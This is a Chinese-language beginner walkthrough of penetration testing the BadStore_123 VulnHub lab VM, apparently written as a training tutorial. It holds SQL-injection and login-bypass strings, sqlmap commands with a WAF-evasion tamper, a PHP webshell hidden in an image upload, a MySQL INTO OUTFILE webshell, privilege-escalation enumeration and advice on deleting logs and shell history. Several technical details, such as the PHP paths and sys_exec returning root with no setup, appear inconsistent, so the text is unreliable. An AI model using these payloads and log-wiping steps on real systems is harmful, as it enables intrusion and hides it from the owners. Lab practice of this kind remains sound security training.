VulnHub新手实战:BadStore_123靶机渗透测试全流程拆解
第一次接触VulnHub靶机时,很多人会被各种专业术语和操作步骤搞得晕头转向。今天我们就以经典的BadStore_123靶机为例,手把手带你走完从环境搭建到权限提升的全过程。不同于那些只给命令不解释的教程,我会在每个关键节点告诉你为什么要这么做,以及可能遇到的坑。
1. 环境准备与初始配置
在开始渗透测试之前,确保你的实验环境已经正确搭建。我推荐使用VirtualBox作为虚拟机平台,它对新手的友好度较高。从VulnHub官网下载BadStore_123的OVA文件后,导入过程通常很顺利,但有几个细节需要注意:
- 网络模式选择桥接模式(Bridged Adapter),这样你的攻击机和靶机才能处于同一网络段
- 分配至少1GB内存给靶机,避免服务运行异常
- 建议使用NAT网络+端口转发作为备选方案
启动靶机后,第一件事就是确定它的IP地址。如果你使用的是Kali Linux作为攻击机,可以这样快速扫描:
sudo netdiscover -r 192.168.1.0/24这个命令会列出当前局域网内所有活跃的主机。找到那个运行着Ubuntu系统(BadStore的基础系统)的IP就是你的目标。在我的测试环境中,靶机IP是192.168.1.105,下文都会以这个IP为例。
2. 全面信息收集策略
信息收集是渗透测试中最关键的阶段,也是新手最容易忽视的环节。对于BadStore_123,我们需要采用分层递进的侦察策略。
2.1 基础服务扫描
首先用nmap进行快速扫描:
nmap -sV -O 192.168.1.105你会看到类似这样的结果:
| 端口 | 服务 | 版本信息 |
|---|---|---|
| 80/tcp | http | Apache httpd 1.3.28 |
| 443/tcp | ssl/https | Apache httpd 1.3.28 |
| 3306/tcp | mysql | MySQL 4.1.7-standard |
这个结果告诉我们几个重要信息:
- Web服务器运行着老旧的Apache 1.3.28
- MySQL版本是4.1.7,这是个存在大量已知漏洞的版本
- 没有开放SSH端口,意味着后续可能需要通过Web或MySQL获取权限
2.2 Web应用深度侦察
访问http://192.168.1.105,你会看到一个典型的电子商务网站。作为渗透测试者,需要特别关注以下几个功能点:
- 用户注册/登录功能:尝试注册普通用户,注意观察注册流程中的参数传递
- 搜索功能:任何输入框都是潜在的注入点
- URL结构:留意是否有类似admin.php这样的管理后台路径
使用dirb进行目录扫描是个好主意:
dirb http://192.168.1.105 /usr/share/wordlists/dirb/common.txt在扫描结果中,特别注意以下发现:
- /cgi-bin/ 目录(老版本Apache常见漏洞点)
- /images/ 目录(可能包含敏感信息)
- /includes/ 目录(可能泄露源代码)
3. 漏洞挖掘与利用
有了基本信息后,就可以开始寻找具体的攻击面了。BadStore_123设计了几种典型的漏洞场景。
3.1 SQL注入漏洞利用
在商品搜索框尝试基本的SQL注入测试:
' OR 1=1 --如果页面返回了所有商品而不是报错,说明存在SQL注入漏洞。我们可以用sqlmap自动化这个过程:
sqlmap -u "http://192.168.1.105/search.php?query=test" --batch --dbs这个命令会:
- 自动检测注入点类型
- 枚举可用的数据库
- 尝试获取数据库结构
注意:在实际测试中,可能会遇到WAF拦截。这时可以尝试使用--tamper参数绕过,如--tamper=space2comment
3.2 身份认证绕过
在登录页面尝试经典的万能密码:
admin' --或者:
' or '1'='1如果成功登录,说明存在认证绕过漏洞。BadStore_123特意留了这个后门供练习使用。
3.3 文件上传漏洞
在用户后台,尝试上传一个图片马:
- 准备一个包含PHP代码的图片文件:
echo '<?php system($_GET["cmd"]); ?>' > shell.jpg- 上传后访问该文件,附加命令参数:
http://192.168.1.105/uploads/shell.jpg?cmd=id如果返回了当前用户信息,说明上传成功并执行了系统命令。
4. 权限提升与后渗透
拿到初始shell后,我们通常只有www-data这样的低权限用户。接下来需要提升到root权限。
4.1 数据库提权
由于我们知道MySQL的root用户是空密码(这是BadStore_123的设定),可以直接登录:
mysql -h 192.168.1.105 -u root -p登录后执行以下命令尝试提权:
select sys_exec('whoami');如果返回root,说明可以直接执行系统命令。更稳妥的方式是写一个PHP shell到web目录:
select "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/shell.php";4.2 本地提权技术
如果数据库提权失败,可以尝试以下方法:
- 检查SUID权限的文件:
find / -perm -4000 2>/dev/null- 查看可写的系统文件:
find / -writable 2>/dev/null | grep -v "/proc/"- 检查计划任务:
crontab -l在BadStore_123中,通常会设置一些易受攻击的SUID程序或配置错误的服务供练习使用。
5. 痕迹清理与报告撰写
完成渗透后,作为专业的安全测试人员,应该清理留下的痕迹:
- 删除上传的webshell
- 清除MySQL日志
- 删除命令行历史
最后,整理你的发现和建议:
- 漏洞列表:按风险等级排序
- 复现步骤:详细记录每一步操作
- 修复建议:针对每个漏洞给出具体解决方案
记住,渗透测试的最终目的是帮助提升安全性,而不仅仅是获取系统权限。BadStore_123作为入门靶机,包含了多种典型漏洞,非常适合新手用来建立对Web安全的整体认识。